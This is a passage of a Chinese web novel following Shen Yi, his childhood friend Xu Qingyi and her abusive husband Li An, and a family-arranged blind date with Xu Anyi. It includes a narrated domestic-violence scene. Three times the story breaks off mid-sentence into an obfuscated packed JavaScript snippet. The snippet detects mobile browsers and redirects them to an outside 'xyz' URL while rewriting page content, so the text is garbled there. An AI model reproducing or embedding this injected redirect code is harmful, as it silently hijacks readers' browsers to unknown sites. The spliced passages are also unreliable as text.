“那你是故意联系我的吗?” 沈翌揉了揉眉心,斯敏文敲门走进来,他抬手示意她等等,补充道:“今天。” “是。” 徐清旖承认,如果不是母亲提起那件事,她根本不会打这通电话,“我妈妈她……她有一个认识的朋友,那位阿姨的女儿你也认……” “知道了。” 沈翌这么多年来鲜少打断她说话,他接过斯敏文手上的文件,“我会去的,过年是吧,在哪里?” “如果你不愿意,我可以帮你拒绝。” “没有不愿意,到时候定了时间和地点告诉我就行,帮我谢谢师母。”沈翌说:“我还有工作,先不说了。” 挂了电话以后,沈翌捏了捏手,然后才拿过一旁的钢笔,开始看桌子上的文件。 “沈总?” 斯敏文能够感受得到沈翌是一位很好说话的上司,但询问别人的私生活总归是不礼貌的。 于是看了看他只喝了一点的咖啡,斟酌着开口:“咖啡还是太甜吗?” 沈翌头也不抬,“拿不准的话也可以不用放糖。” “好的,不过如果您一直不吃甜的话,偶尔吃一点心情会好很多。” 沈翌点点头,在文件的最后一页签下自己的名字,合上文件夹以后问她:“这个周末是不是要出差?” 斯敏文正色,“是的,宣色的王总在北欧旅行。” 宣色是近两年新起的一个做投影融合的公司,他们公司也想来这个领域分一杯羹,可他们只有技术没有市场。 沈翌是这个项目的总负责人,宣色是他们的首选。 但是两个公司的营销部负责人接触过没有谈成,沈翌猜到是王总不同意。 几次电话没预约上见面时间之后,对方秘书忽然说这位王总报了个旅行团去北欧旅行了。 “你研究生在哪读的?”沈翌忽然问。 “英国。” “这么巧。” “沈总也在英国待过吗?” 沈翌点点头,“调回香港之前,在伦敦待过几年。” “伦敦啊,我去那里旅行过,是一座历史很厚重,也很漂亮的城市。” 沈翌没说话,他想起来那些年的岁月,像是一盏燃尽枯槁的蜡烛。 记忆仿佛已经渐行渐远,滴下的蜡油却始终有痕迹。 39. 糖火烧 沈翌是徐家父母看着长大的小孩,一直没有合适的伴侣他们也着急。 所以在听说沈翌答应相亲以后,徐母就开始着手安排这件事。 许安怡被告知这件事的时候还很惊讶,前几年她谈过一个刻骨铭心的对象。 两人是大学同窗,毕业后一同留校,只是最后男人调离南城,两人都不愿意异地,草草收尾。 “是徐阿姨介绍吗?” 许安怡是少有的知道沈翌喜欢徐清旖这么多年的人,更让她吃惊的是这场滑稽的相亲牵线人竟然是徐清旖的母亲。 “是呀。” 许安怡的妈妈很开心,她刚知道他们两人早就认识,也听说了沈翌条件很好。 虽然是在香港,但女儿本来这两年也有调职的想法。 许安怡剥了一个橘子递给母亲,心里偷偷算了算沈翌的年纪大概已有三十二三,想来或许是真的准备开始一段新的关系。 她对沈翌早已不复当年的那种悸动,最初的印象在九十年代末的那场婚礼后也被洗刷得一干二净。 但是或许正如母亲所说,如果能这样过日子也不错。 他心里揣着个人,自己心里也是,公平得很。 “徐阿姨的孙女几岁了啊?” “两岁了吧,我记得是千禧年出生的,千禧年的第一天,日子好。” 许安怡点点头,“我们到时候在哪见面?” “什么在哪?” 许母没反应过来,许安怡接着问:“过年的时候,是我们去香港吗?还是黎江?” “人家小沈说了,回南城来。”许母笑眯眯的,“再说了,相亲的话,你个女孩子到处跑多不像话。” 许安怡点点头,将手里衣服的腰带紧了紧。 好像胖了点,最近要少吃点。她想。 - 沈翌第二次见到岁岁,徐清旖来接他,指着他对岁岁说:“宝贝,叫叔叔。” 于是小孩奶声奶气地喊“叔叔”,之后又把头埋进母亲的肩后。 “他有点害羞。”徐清旖说。 她的头发已经长到腰上一点,被随意地扎在脑后。 徐清旖将岁岁放在地上,伸手想要去接沈翌手里的东西,这才看见他身后还有一个年轻的女孩。 这是沈翌年前的最后一份工作,察觉到徐清旖的视线,他出声介绍,“这是我的秘书。” 徐清旖礼貌地伸出手打招呼:“你好,我叫徐清旖。” 斯敏文也回握,“您好,我是沈总的秘书,我叫斯敏文。” “你们住在哪里?”回程的路上,徐清旖问沈翌。 沈翌顿了顿,他不太清楚酒店订在哪里。 他听见斯敏文说:“订在勃艮第路的三江酒店,王总也在那里住。” 他们是代表公司来和宣色签约的,沈翌在北欧等了这位王总好几天对方才终于松口。 “对了沈总,王总还约了您后天在浅湾。” 斯敏文提醒他,虽然当时是口头邀约,但如果明天签约的时候对方问起来,沈翌不能不知道。 “知道了。” 徐清旖皱了皱眉,她想起来浅湾是黎江市这两年新建的赛车场,“你现在会骑摩托吗?” 斯敏文惊讶地转头看了看徐清旖,沈翌会骑摩托车并且骑得很好这件事在公司里几乎人人皆知,如果这位徐小姐是沈总很好的朋友,又怎么会不知道呢? 沈翌伸出左手摸了摸岁岁前额的碎发,小孩正靠在车座上睡得香。 他垂着眼说:“前两年学会的,以前有个客户喜欢,为了陪他。” 等将行李放至酒店,徐清旖想要请他们出去吃饭,却被拒绝了。 沈翌提出要送她回家,话语间没有转圜的余地,“不过今天坐太久,我走路送你回去,可以吗?” 徐清旖看了看斯敏文欲言又止,后者连忙朝她摆摆手,“酒店里有饭的,您不用担心我。” “走吧。”沈翌又蹲下来对着岁岁说:“困的话叔叔抱你好吗,妈妈抱会很累。” 岁岁捏着徐清旖的裤子往后藏了藏,却忍不住伸出脑袋打量他。 “那好吧,斯小姐您早点休息。” 走了没几步路就到了万师傅门前,徐清旖的脚步顿了顿,“你要不要进去看看?” “不了。”沈翌摇摇头,“总在通电话,过两天工作结束了我再去看他。” 这条路他们十年前常常走,徐清旖会过来等他下班,然后两个人一起绕路到阿婆的小店里,或者是去胡记喝一碗蹄花汤。 “想吃糖火烧吗?” 沈翌转头看向她,像是想起了什么,“好。” 自从结婚后,徐清旖就没怎么来过这边了,偶尔路过的时候回来看一眼,买几个糖火烧权当是照顾阿婆的生意。 阿婆没再见过沈翌,前两年他每次回黎江都碰上阿婆不在家。 她的年纪变得很大,小店也在一年前关闭,为了守住老房子才住在这里没有离开。 看见他们的时候,她瞪着眼辨认了很久。 沈翌西装革履,她还以为又是来谈拆迁的人,拿了扫帚想把人赶出去,听到他们讲话才觉得熟悉。 “是你们啊。” 阿婆用手揉揉僵硬的背脊,看见藏在徐清旖身后的小孩,眯着眼睛笑,“你们娃娃都这么大咧!” 沈翌扯开话题,“阿婆,您不卖糖火烧了吗?” “不卖啦,不过呀,阿婆给你们做。” 她说着便去屋内取围裙,沈翌跟了进去,把围裙帮阿婆围上。 听见她说:“你们两个娃娃上回来这里都好多年的事了,婆婆都老了。” 沈翌点了点头,“我……后来去了别的城市。” “现在回来了吗?” “在香港。” “香港,我年轻的时候去过那里。” 阿婆的脸上生出了很多皱纹,指了指最上边的柜子,“你把那个柜子里的面粉给我拿下来。” 等到开始和面了,阿婆又说:“你让姑娘进来帮我,你去买糖,就在那边的小超市里。” “我记得。” 从前他也去帮过阿婆买糖,只是不知道那家小店还有没有在开。 徐清旖带着岁岁进来帮忙,小孩对什么都很新奇,阿婆用沾了面粉的手指在他脸上轻轻一碰就留下两个印儿,逗得小孩咯咯笑。 “原来你们以前没有骗我啊,真的是朋友。” 徐清旖点点头,“一直是朋友。” “孩子爸爸呢?在黎江工作吧?” “在的,我和他就定居在这里。” “我给你俩多做点,你们带回去。” 阿婆停下手上的动作,叹了口气,“阿婆老了,这一次之后,也不知道你们还能不能吃到这个味道了。” “尤其是那孩子,之前你说他出了国,现在也在香港,始终隔着海岸,远得很……” “妈妈,我也想吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389914|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 岁岁很乖地蹭了蹭徐清旖,他和李安并不亲近,黏母亲得很。 “再等一会儿就好了,等一下叔叔回来了你出去陪叔叔玩好不好。”徐清旖说:“他很厉害的,什么都知道。” “什么都知道吗?”小孩的眼睛亮了亮。 “对呀。” 等到沈翌回来之后,徐清旖将岁岁交给他,自己进了厨房帮阿婆生火。 “妈妈说你很厉害。” “真的吗?那她说对了。”沈翌把刚顺手买的糖果递给他,“你看,魔术。” “这是你买的!” 岁岁盯着糖果,一副想要收又害怕被责怪的样子。 “藏起来。”沈翌将包装袋撕开,把里面的糖果装进他的衣服兜里,“我不告诉你妈妈。” 岁岁喜笑颜开,像是和好朋友达成了某种协议。 沈翌把包装袋扔进垃圾桶,又问他:“想不想要玩具?” “我有玩具。”岁岁说:“妈妈给我买了很多玩具。” 沈翌抿了抿唇,“爸爸呢?有没有给你买玩具。” 小孩的小脸瞬间垮了下来,仿佛是有点害怕李安。 “呆第他……不喜欢我玩玩具……” “那叔叔给你买好不好,过几天叔叔忙完了就来接你。”沈翌说:“不要告诉你爸爸。” 岁岁没有说话,估计还是有点怕生,于是沈翌不逼迫他。 “那到时候我问你妈妈好不好?” 小孩这才点了点头。 沈翌提几个糖火烧回去给斯敏文的时候,对方好像想说什么又忍住了。 沈翌发现了她的小动作,“想说什么?” “没有没有。” “没事,问吧。” “就是……” 斯敏文看了一眼手里的糖火烧,“您刚才说这是您以前在黎江最喜欢吃的?可是您不是不吃甜吗?这个……真的好甜……” 沈翌笑了笑,“以前吃甜,现在……” 斯敏文等着他的回答,过了几秒后才听见沈翌斟酌着开口。 “现在,它是个例外吧。” - 最终沈翌并没有成功把岁岁带出来,和徐清旖约好的那一天,她临时有事打了电话来说抱歉。 “等到回家吧,没几天了。” 沈翌沉默了一瞬间,他听出来徐清旖声音有异,“是发生什么事了吗?” 徐清旖在电话那头摇摇头,又想起来沈翌看不见。 “没事,工作上出了点问题。” 沈翌想起来徐老师曾经提到过的她正在兼职做翻译的事,便以为真是工作上出了问题,道了别没再继续问。 特意空出来的时间忽然真正变得闲散,斯敏文来向他告别。 沈翌看着她不知道比来的时候多了多少的行李随意问她:“给男朋友带的?” 斯敏文不好意思地笑了笑,“他的东西不多,主要是给朋友带的。” “要我送你吗?” “不用了,谢谢沈总。” 斯敏文摆摆手,“我叫个车就行了,您什么时候回家啊?” “过两天。” “那您还在这里住吗?我去办手续。” 沈翌拒绝了她的提议,“我也不确定什么时候走,我自己去办续住吧,你再多说两句就赶不上飞机了。” 斯敏文看看手表,又和他说了“新年快乐”和“明年见”,然后才急匆匆离开。 40. 争执时 公历已至2002年,新世纪的第三年。 沈翌站在酒店的落地窗前,看向这座由小渔村发展而来的国际化大都市。 曾经离开黎江市的时候,这里远没有如今这样四处高楼林立。 他想起来自己第一次去旧金山市区那天,就像是半生懒惰寄居的小蟹第一次见到了美丽动人的珊瑚。 当时孟晨站在身边说:“听说美国每个地方都这样。” 沈翌想起来孟晨,两人有一段时间没有联系,他的女儿很可爱,看见沈翌的时候会激动地抱住他,搂着脖子喊“干爹”。 于是沈翌坐进办公桌后的椅子里,拿着电话给孟晨拨过去,还没想好说个什么理由,对方就已经接了起来。 “沈副总想起来给我们这些员工打电话了?”孟晨揶揄他。 “少贫。”沈翌笑着说:“在哪?” “上海啊。”孟晨去年调回了上海,“你怎么?今年在哪里过年?” “回老家。” 孟晨沉默了一瞬间,“你一个人回去?” “还有徐清旖。”沈翌把桌上一张纸对折,竖立着尝试将它立起来,“回去相亲。” “相亲?她介绍的?” “她妈妈。”沈翌把一张A4纸随手折起来立在桌上,“那姑娘以前和我一个学校的。” “你怎么想的?” 他的女儿叫孟晚星,此时正在孟晨身边闹着要和沈翌讲话,“好好好,你和你干爹说,行了吧?” 孟晨把手机递给女儿,沈翌的声音传过来,“星星,最近有没有听爸爸的话啊?” “干爹,我很听话。”孟晚星捏着孟晨的耳朵,像是在玩一个玩具,“你什么时候快来看我啊?” “你过生日的时候我就过来好不好,干爹带你去买漂亮衣服。” 孟晨收回正竖着听他们对话的耳朵,拍了拍女儿的肩膀,给她比了一个吃饭的动作,孟晚星立刻会意。 “那你一个人也要按时吃饭。” “好。” 孟晚星踩在沙发上的脚往下滑了滑,孟晨赶忙伸手护住她,等她重新站好了又指了指自己的衣服。 孟晚星才对着电话继续说:“要穿厚衣服,不可以感冒。” 沈翌拿着电话靠在椅背上,“好。” “要多给星星打电话。”孟晚星加了一句。 沈翌听着笑出了声,“好。” 等到电话重新回到孟晨手上,他还没有忘记那个问题,“你是怎么想的?” “什么怎么想?” “相亲啊。” “哦,我认识那个女生,她知道我的那些事,估计也就是来做做样子。” “那行,如果合适的话……” 孟晨想了想,还是说:“如果合适的话,可以试一试,总不能一直一个人。” “再说吧,我总不能揣着明白装糊涂。” - 这一次来黎江市,沈翌没有直接与李安碰过面。 在火车站等到徐清旖的时候,也只有她左手牵着岁岁,右手提着一个袋子,背上还背着一个背包。 沈翌皱着眉去取过她手中的袋子放在自己的行李箱上,“李安没时间送你?怎么没告诉我?” 徐清旖没躲过他的手,偏了偏头,不自在地随意回答了一句“不用。” 她的头发垂在肩上,仅仅是两天不见,沈翌觉得她好像瘦了一些。 “我来吧。” 他伸手想再去取徐清旖的背包,却被堪堪躲过。 她的声音冷淡,又重复了一句,“不用了。” 沈翌的手在半空中停了一瞬间,下一秒又收回来,“走吧,去找个位置坐。” 岁岁坐飞机会哭闹,火车又会紧张。 上车的一瞬间就紧紧的抱住徐清旖的脖子,手指无所适从地掐住她颈侧的软肉,徐清旖忍着没出声。 等到坐在座位上的时候,她才将岁岁的手往下拿了拿,那一处的伤口还在隐隐作痛。 沈翌看了眼岁岁发红的眼睛,“我还是去再补一张卧铺的票吧?” “他容易过敏,也没多久。” 最开始买票时沈翌想买卧铺,毕竟带着小孩不方便,徐清旖说岁岁有很严重的过敏症,在那种环境下睡觉容易犯病。 最后沈翌买了三张硬座和两张软卧,以防碰见什么不可控的因素时可以有其他车厢落脚。 岁岁从小话就不多,他有一个自己的世界,自从上一次与沈翌聊过几句之后,他好像自然地将他归为了自己世界的人。 看见有生人也会握住沈翌的袖子,仿佛是在告诉他不要看那边。 列车已经行驶了几个小时,窗外暮色微沉,乘务员推着小车艰难地向这边走过来。 沈翌说:“我来抱他吧,你抱太久了手会麻的。” 徐清旖低头看了看怀里睡得正熟的岁岁,自己的手的确有些疼,于是调整姿势准备将小孩递过去。 沈翌学着她刚刚的样子摆好手,小孩被放在他怀中的一瞬间,徐清旖右手腕的衣袖被岁岁的胯骨处蹭上去了一点点。 沈翌几乎立刻就发现了不对劲,他的眉头紧紧锁住,左手放在小孩后脑下轻轻垫着,右手隔着衣服捏住徐清旖的手腕。 “这是怎么回事?” 徐清旖用了很大劲才将手抽出来,还不及她说话,沈翌又问:“什么时候的事?” “意外。”她顿了顿,“我自己不小心碰到的。” 沈翌想起来刚上火车时她不自然的神色,伸手想要掀开徐清旖的头发,对方却偏了偏头,“够了,沈翌。” “为什么?” 徐清旖不说话,沈翌想起来刚刚瞥见的淤青和前几天的那通电话,声音有些哑,“他打你了?” “没有打我,是我碰到的。” 那晚沈翌送徐清旖回家,临走之前还将手里阿婆送的糖火烧递给她。 等到目送沈翌没了身影,她听见岁岁问她:“叔叔什么时候再来找我玩啊?” 她知道岁岁问的是刚刚沈翌在路上提出带他去买玩具的事,于是她捏了捏他的小脸。 “等过几天叔叔忙完了再带你出去玩好不好,不过岁岁不可以要叔叔的东西,你想要什么妈妈都会买给你。” 等到徐清旖站起来牵着孩子往小区里走,正好看见不远处的李安站在莉莉安的身边一脸阴鸷地盯着自己。 李安可能确实不是故意的,他的声音很大,不像从前那样阴阳怪气地说一些风凉话。 送走莉莉安后,李安靠在沙发上盯着岁岁看了很久,徐清旖正给他煮醒酒汤。 听见李安说:“如果不是他是个混血,我真要怀疑是不是我的孩子。” 徐清旖难以置信地看向他,岁岁被父亲的眼神吓得不轻,红着眼睛寻求母亲的拥抱。 徐清旖关掉火,走到沙发边坐下,双手抱住岁岁,直视着李安,“你真不是个东西。” 李安是典型的西方人长相,他的五官深邃,醉酒后没了以往那副吊儿郎当的样子,徐清旖心里也有点发怵。 她打着商量说:“你喝醉了,我给你煮了醒酒汤,岁岁困了,我先带他去睡觉好吗?” 说着她就站起来,想要抱岁岁去睡觉。 李安在同一瞬间伸手拽住她的衣摆,他的眼睛盯着徐清旖,仿佛下一秒就会发怒。 徐清旖害怕伤着岁岁,她的声音颤抖,让小孩自己回房间。 岁岁也被吓得不轻,眼中装满了泪水,徐清旖朝他笑了笑。 “快去宝宝,妈妈和爸爸有事情要说,你先回去。” 等到岁岁回到房间,徐清旖才转过身看向李安,“你到底想怎么样?” “不要再联系了。” 可能是被酒精影响到了神经,李安说话有些慢,“你和他,不要再联系了。” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389915|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和你说过了,是妈要给他介绍对象。” “那就让你妈去!” 李安的声音陡然放大,徐清旖愣了愣,过了几秒才苦笑着反问道:“我妈?” “对,你的母亲。” 李安舔了舔自己的嘴角,过后又补了一句,“难缠的中国妇人。” “李安!”徐清旖的胸口剧烈起伏着,仿佛也忍受着巨大的怒火,“那是我的妈妈,你最好尊重一点!” “她,你的家人,你,你们尊重我了吗?” 李安讥笑着问:“你现在都要把儿子带去给那个男人看,你想过我吗?” “我?”徐清旖往后退了两步,坐在另一侧的沙发上,“我怎么没想过你?” “李安,不能回来陪我和儿子吃饭的时候你在哪里?圣诞节你是和谁去看的极光?那天晚上你说要吃牛排,之后又匆匆离开。我问你,你去了哪里?” 徐清旖总以为自己可以为了岁岁忍下一切,她不希望孩子在一个缺失的家庭里长大,此时第无数次感受到了力不从心。 对面的男人听见她说的话神色变了变,但也只是一瞬间。 “我的工作很忙,旖,你能不能理解我?” 徐清旖点点头,不再想继续这个话题,岁岁还没有洗漱,她要去照顾孩子。 “以后我每天都早点回家,你能不去见他了吗?” “不行。”徐清旖呼出一口气,“他是我的朋友,我不能忽然又失去了联系。” 李安忽然从沙发上站起来,左手紧紧按住徐清旖的肩膀,右手掐住她的脖子,他的神色可怖。 “你再说一次?” 徐清旖双手用力地掰着他的手指,她喘不上来气也用不了力,她第一次觉得这个男人如此恐怖。 她的耳边传来一阵细微的耳鸣,就在她以为自己这一生竟然会这样荒唐地死去的时候,李安放开了她。 他像是变了一个人一样,用手轻轻抚着徐清旖的脸,他的眼角有泪,“旖,不要离开我,我只有你了。” 徐清旖早已听了这句话无数遍,她猛烈地咳嗽了几声,眼睛生理性涨红。 如果不是李安及时放开了自己,刚才她也会找机会踹开他。 她死死地盯着李安,想要问他到底要做什么,发出来的声音低哑不堪,“今年过年我会回家,带着孩子。” 李安的脸上有泪痕,他仿佛是真的醉了,像个不知所措的小孩坐在地毯上。 听见徐清旖的话才回过神,“和他吗?” 徐清旖不愿再与他讨论任何有关于沈翌的事,沉默着与他对视。 李安看着看着出声冷笑起来,平生第一次叫了她的名字。 “徐清旖,我小瞧你了。” 下一秒,茶几上的花瓶被他使劲一摔,一瞬间四分五裂。 徐清旖早上刚刚换过的、仍然鲜艳欲滴的花朵像是被蹂躏过一般颓败地躺在地上,花瓶碎片炸裂开来,割得她的手臂、小腿上多了几处伤痕。 李安撑着身后的沙发慢慢站起来,他的伤口好像更多一些,脸上甚至都见了血。 岁岁听见客厅里的声音哭得很大声,李安拿过外套换鞋离开,走之前回头看了徐清旖一眼。 徐清旖偏了偏头,任由眼泪掉落下来,她只听见了一声很轻的关门声。 这些话徐清旖都没有讲,她只用了十几秒的时间自我回忆了一遍。 最后定格在那晚她推开卧室门看见哭得满脸泪痕的岁岁身上。 沈翌的左手紧紧捏作拳,想要说话却被打断,她说:“我很好,真的。” 沈翌看见徐清旖的眼里蒙着一层雾气,她神色温柔地看着自己怀里的岁岁。 像是所有书里描写过的母亲那样,简单又偏执,“婚姻里总是免不了争吵的,如果你以后结婚了,你就知道了。” 沈翌看着她,想说他不会。 却无论如何也开不了口。 41. 说未来 沈翌订了一处酒店,从前和爷爷住的老房子他没有卖出去,却不再愿意一个人住进去。 徐老师想让他一起回自己家住,沈翌说不方便,大家也就不再多言。 有一天沈翌忽然想起来自己承诺过带岁岁买玩具,但回来之后到今天两天的时间里,岁岁都忙着在家见各种亲戚。 沈翌想了想,于是决定自己去买回来任他挑选。 南城这些年发展的很不错,在本地还有着“小香港”的称号。 沈翌在最大的那家商城里推着小推车看了很久,碰见好一点的男孩子玩具就往车里塞。 有导购员看见他这副样子,忙着跑过来给他推销这家店的新品。 沈翌看了看她手里拿着的拼图玩具,想起来前两年公司里有人推荐过的乐高积木,于是问附近是否有专卖店。 “好像……是没有吧?”导购员没听过这个牌子,“一楼新开了一家店,可以去看看。” 沈翌点了点头,结过账就往楼下走。 他没想到会在这里遇见许安怡,师母说给他们安排的见面时间是明天下午。 此时她一个人往外走,看见他的时候也愣了愣。 “沈翌。”许安怡叫他,她不再像从前那样喊他“学长”,“你怎么在这儿?” 她看了眼沈翌手里两大袋的玩具,瞬间了然,“给徐小姐的孩子买的?” 沈翌点点头,“你呢?怎么在这?” “这里的书店是我们市最大的书店,我来买两本书。” 许安怡朝他扬了扬手里的袋子,里面装着两本书,“你怎么给女孩子买小男孩儿的玩具?” “是个男孩。要不要喝点什么?” 许安怡笑了笑,“可能是我妈妈消息有误。走吧,今天我请你喝,明天肯定是要你付钱了。” 等待的期间,沈翌忽然问:“你买的什么书?我方便看看吗?” “当然可以。” 许安怡将书拿出来,是很基础的数学原理辅导书,“给我学生选的,她的基础需要补补。” 沈翌仔细看着面前的书,从目录开始认真翻阅了几页,许久才开口:“的确很不错,你的眼光很好。” 许安怡看着他的样子,心里忽然有点不是滋味,“你现在在做什么?穆老师说你读了硕士?” “没换工作。”沈翌抿了一口刚送过来的咖啡,“是读了硕士,在美国的时候。” “数学吗?” 沈翌静了两秒,“电子工程。” “那你有想过读博吗?可以念数学,毕竟你这么喜欢。”许安怡说:“港大也很不错,你可以一边工作,一边进行申请。” “再说吧。” 沈翌将书合上递给他,脸上的表情没有丝毫破绽,“工作太忙了,没有时间读博。” 两人沉默了一会儿,许安怡甚至想要起身离开,听见沈翌说:“明天的事,我们……” 他没有继续说下去,许安怡明白他的意思,但换了话头,“你还是喜欢她,对吗?” 沈翌没有回答“是”或者“不是”,他说:“我对她的感情,从很早之前就说不清楚了。” “恰巧我也不能和我喜欢的人在一起了,你看,我们俩如果搭在一起过日子是不是也不错?” 许安怡双手环在胸前,半开玩笑半认真。 “这不合适。”沈翌说:“你还会遇见喜欢的人的。” “你喜欢她多少年了?” “十七年?”沈翌看向另一侧,仿佛是在回忆,“还是十八年?我忘记了。” “那你凭什么认为,我喜欢他比你喜欢徐清旖少?” 许安怡想了想,“我觉得挺合适的,不会再有人张罗着给我们介绍对象。我们之间互不干预,也不需要一个小孩,不过是多两本结婚证的事。” “我本来也没打算结婚了,你考虑一下吧。”许安怡说:“或者我们可以先试一试,从最普通的朋友开始,这样他们看见我们的关系也至少能消停一段时间。” - 第二天,师母替他们约在一个咖啡厅见面。 沈翌来得比较早,他给许安怡点了一杯和昨天一样的咖啡。 对方来的时候,手里拿了本书,她坐下来将书递给沈翌。 “这是?”沈翌接过来,看见封皮上写着许安怡的名字,“你写的?” 许安怡点点头,是整理与讲解高等数学的辅导书,她正在准备评职称。 “还没有正式出版,你能不能帮我看一看?” “可以。”沈翌说:“很着急吗?” “有点。下半年我们学校有一个科研项目我想跟进,但是履历不够。” “那我尽快,穆老师有帮你看过吗?” “初稿我给他看过,这段时间他太忙了,所以就没找过他。” 沈翌把书放在一边,听见许安怡问他:“你考虑得怎么样了?” “这是欺骗师母和你母亲。” “她们是希望我们找到照顾彼此的人。” 许安怡看着他,“如果我下半年成功加入那个项目,会经历很长一段压力很大的时期,我不想再听见她在我身后唠叨。” “没有我,你也会经历无数次的相亲;反之,没有你,我也可能会选择一个人进行这样的合作。但是你是我能想到的最好的选择。” 许安怡靠在椅背上,短发刚刚盖过耳垂。 “我们从最普通开始,如果未来有一天你或者我遇见了更合适的人,我们随时结束。” “挺好的,不用履行什么责任。”她说。 沈翌思考了十几秒,他想起来孟晨提醒自己应该有一个新的开始,“怎样算是最普通?” “比如……”许安怡想了想,“比如你先叫我一声安怡?” 沈翌笑了笑,“我们没必要那么生疏,总不至于一直叫你许小姐。” 许安怡也笑了,“沈翌,你不用这么拘谨,是我有求于你。” “或者说你想要重新开始一段新生活吗?”她说:“不用那么累的新生活。” “试一试吧。”沈翌向心底最深处的自己半妥协。 许安怡问他:“那你能给我讲一讲你这些年的经历吗?” “很苍白的经历。” 沈翌右手按在咖啡杯的杯把上,拇指轻轻摸索把玩着。 “当年我回学校拿了申请,通过面试后在美国待了四年,后来被调去伦敦,又待了两年。四年前我的申请才得到批准,回到香港工作。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389916|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那你的研究生是什么时候读的?” “九三年吧,在斯坦福读的电子工程。” 沈翌说:“当时半工半读,最担心的事情就是延毕。但是很搞笑吧?学技术的人最终做了管理。” 许安怡看着他说:“并没有,但以前穆老师最担心的就是你放弃了自己的天赋,现在看来他的担心很多余。徐小姐结婚我见你那么颓废,还以为……” 沈翌笑了笑,“我知道,那时候我确实情绪不太好,不过是公司的问题。” 许安怡没有完全相信他的话。 “我的经历相对于你来说才是真的很苍白。我大学毕业以后就留在学校做助教,前两年升了正式,很普通的高数老师。” “我很羡慕你。” 沈翌摇摇头,否决了她说自己“很普通”。 “你这十多年来都在和喜欢的事物打交道,而且你做的很好,这是我永远做不到的。” - 马上就要到除夕了,沈翌临时接到电话有工作,初一晚上他就要乘飞机去上海处理。 除夕夜当晚,师母做了一大桌子菜,叫了许安怡和她的母亲一起来吃饭。 自从上次见面以后,她们都知道沈翌与许安怡互生好感,两家人都开心得不得了。 饭桌上师母看看沈翌,又看看许安怡,眼睛里闪着泪光。 “小沈,你是我看着长大的,也就是我的儿子。你陈姨是我的朋友,安怡小时候我也见过,你们要好好的,多互相照顾。” “会的,师母。” 许母听见他的话,问自己的女儿:“你前段时间说会调职是怎么回事?” 沈翌没听许安怡说这回事,闻言也看向她。 “还不确定,学校有个项目,和港大合作,申请下来的话我可能会去香港待两年。” “那太好了!”师母说:“小沈本来也在香港,这样的话你们就可以有个照应了。” 许安怡看了看沈翌,热带的阳光这两年把他晒黑了一些,“会的,放心吧徐阿姨。” 吃过晚饭,徐清旖把岁岁哄睡着以后,出来客厅时,看见许安怡在厨房陪着两位母亲聊天,沈翌和自己的父亲坐在茶几旁,电视里正播着春晚。 徐清旖在沙发坐下,“明天就要走吗?” 沈翌把桌子上没人喝过的一杯茶递给她,“嗯,明晚七点。” “定下来了吗?”徐清旖问了一句,不知道说的是他和许安怡,还是问的机票。 “定下来了。” 沈翌点点头,当她问的是前者,“你之前说,希望我能和她在一起。” 兜兜转转,其实也都是一个意思。 “你还记得。”徐清旖笑了笑,“那时候在英国,是挺巧的。” 沈翌没有再应她的话,“明天上午有时间吗?我想挑个礼物。” “可以,我把岁岁交给我妈,的确应该送个礼物。”徐清旖说:“等到以后,就可以去香港旅行了。” 徐清旖19岁的梦想就是有朝一日能够在香港的写字楼里上班,却不曾想现实是她早早辞职,与理想的那种生活背道而驰。 反而是沈翌,像当年自己想象中的那样。 前途与爱情,一片光明。 42. 生日礼 沈翌说想买项链送给许安怡和她的母亲。 徐清旖却告诉他:“不合适,你如果送给许小姐项链,就不应该也送给陈姨。” “我知道,可以送不同种类。” “也不合适。”徐清旖想了想,“你送阿姨镯子吧,许小姐送项链。” 沈翌点点头,“我想给师母也买一个镯子,没送过贵重礼物。” “不用了,我妈她不会收的。” “没事,大不了让你帮我偷偷放她房间。”沈翌笑着说:“所以还是要靠你。” “你怎么知道我就愿意帮你了?”徐清旖走在他身边,一边寻找卖玉器的店,一边开玩笑地问。 沈翌没回答她的问题,跟着她走了几步路进了一家较大的玉石店。 售货员带着职业化的笑容将他们引至柜台边,沈翌选中了其中一款,等待售货员戴手套将其拿出来的间隙,他看了眼徐清旖。 回南城来的这几日,徐清旖从未将头发扎起来过。 沈翌记起前两天在火车上慌忙间瞥见她左耳下边一点的一小块淤青,想来可能并不止那一点点。 “这个看起来很漂亮。”徐清旖说话打断了他的回忆,她正指着面前的镯子,“你看,在灯下颜色很清澈。” 沈翌点点头,又问了几个问题之后,让售货员装两个。 售货员开心地说了声“好”,徐清旖问他:“真给我妈买啊?” “总要谢谢她。” 徐清旖便没再说话,隔了会儿才说:“这么多年,终于得偿所愿了。” 她发自内心祝愿他,“我真的替你感到开心。” 